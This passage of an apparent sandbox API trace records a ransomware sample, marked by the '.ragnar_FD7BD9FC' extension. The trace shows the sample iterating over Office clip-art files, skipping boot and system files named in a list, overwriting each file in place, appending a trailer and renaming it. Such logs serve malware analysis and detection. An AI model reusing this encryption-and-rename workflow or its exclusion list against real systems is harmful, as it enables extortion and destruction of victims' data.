lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.805] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.805] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.805] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.805] GetProcessHeap () returned 0x580000 [0085.805] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.805] CloseHandle (hObject=0xf4) returned 1 [0085.805] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" [0085.805] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.ragnar_FD7BD9FC" [0085.805] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198022.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198022.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.805] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7de50900, ftCreationTime.dwHighDateTime=0x1bd8464, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7de50900, ftLastWriteTime.dwHighDateTime=0x1bd8464, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0085.806] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.806] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198025.WMF" | out: lpString1="J0198025.WMF") returned="J0198025.WMF" [0085.806] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned=".WMF" [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="autorun.inf") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="boot.ini") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="bootfont.bin") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="bootsect.bak") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="bootmgr") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="bootmgr.efi") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="bootmgfw.efi") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="desktop.ini") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="iconcache.db") returned 1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="ntldr") returned -1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="ntuser.dat") returned -1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="ntuser.dat.log") returned -1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="ntuser.ini") returned -1 [0085.806] lstrcmpiW (lpString1="J0198025.WMF", lpString2="thumbs.db") returned -1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.806] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf")) returned 0x20 [0085.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.807] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15566) returned 1 [0085.807] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3cc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.807] GetProcessHeap () returned 0x580000 [0085.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.807] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.808] VirtualAlloc (lpAddress=0x0, dwSize=0x3cce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.808] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.809] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.809] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3cce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3cce, lpOverlapped=0x0) returned 1 [0085.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.810] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3cce, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.810] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3cce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3cce, lpOverlapped=0x0) returned 1 [0085.810] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3cce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.810] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.810] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3cce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.810] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.810] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.810] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.811] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.811] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.811] GetProcessHeap () returned 0x580000 [0085.811] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.811] CloseHandle (hObject=0xf4) returned 1 [0085.811] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" [0085.811] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.ragnar_FD7BD9FC" [0085.811] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198025.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198025.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.812] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb570900, ftCreationTime.dwHighDateTime=0x1bd9f2f, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb570900, ftLastWriteTime.dwHighDateTime=0x1bd9f2f, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0085.812] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.812] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198102.WMF" | out: lpString1="J0198102.WMF") returned="J0198102.WMF" [0085.812] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned=".WMF" [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="autorun.inf") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="boot.ini") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="bootfont.bin") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="bootsect.bak") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="bootmgr") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="bootmgr.efi") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="bootmgfw.efi") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="desktop.ini") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="iconcache.db") returned 1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="ntldr") returned -1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="ntuser.dat") returned -1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="ntuser.dat.log") returned -1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="ntuser.ini") returned -1 [0085.812] lstrcmpiW (lpString1="J0198102.WMF", lpString2="thumbs.db") returned -1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.812] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf")) returned 0x20 [0085.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.813] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=54964) returned 1 [0085.813] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd6ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.813] GetProcessHeap () returned 0x580000 [0085.813] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.813] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.814] VirtualAlloc (lpAddress=0x0, dwSize=0xd6b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.815] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.815] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd6b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xd6b4, lpOverlapped=0x0) returned 1 [0085.817] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.817] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd6b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.817] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd6b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xd6b4, lpOverlapped=0x0) returned 1 [0085.817] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd6b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.817] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd6b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.818] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.818] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.818] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.818] GetProcessHeap () returned 0x580000 [0085.818] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.818] CloseHandle (hObject=0xf4) returned 1 [0085.818] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" [0085.818] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.ragnar_FD7BD9FC" [0085.818] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198102.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198102.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.819] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce00a00, ftCreationTime.dwHighDateTime=0x1bd9fdf, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcce00a00, ftLastWriteTime.dwHighDateTime=0x1bd9fdf, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0085.819] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.819] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198113.WMF" | out: lpString1="J0198113.WMF") returned="J0198113.WMF" [0085.819] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned=".WMF" [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="autorun.inf") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="boot.ini") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="bootfont.bin") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="bootsect.bak") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="bootmgr") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="bootmgr.efi") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="bootmgfw.efi") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="desktop.ini") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="iconcache.db") returned 1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="ntldr") returned -1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="ntuser.dat") returned -1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="ntuser.dat.log") returned -1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="ntuser.ini") returned -1 [0085.819] lstrcmpiW (lpString1="J0198113.WMF", lpString2="thumbs.db") returned -1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.820] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf")) returned 0x20 [0085.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.820] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42272) returned 1 [0085.820] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa517, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.820] GetProcessHeap () returned 0x580000 [0085.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.820] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.822] VirtualAlloc (lpAddress=0x0, dwSize=0xa520, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.822] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.822] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa520, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa520, lpOverlapped=0x0) returned 1 [0085.825] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.825] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa520, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.825] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa520, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa520, lpOverlapped=0x0) returned 1 [0085.825] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa520, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.826] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa520, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.826] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.826] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.826] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.826] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.826] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.826] GetProcessHeap () returned 0x580000 [0085.826] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.826] CloseHandle (hObject=0xf4) returned 1 [0085.826] 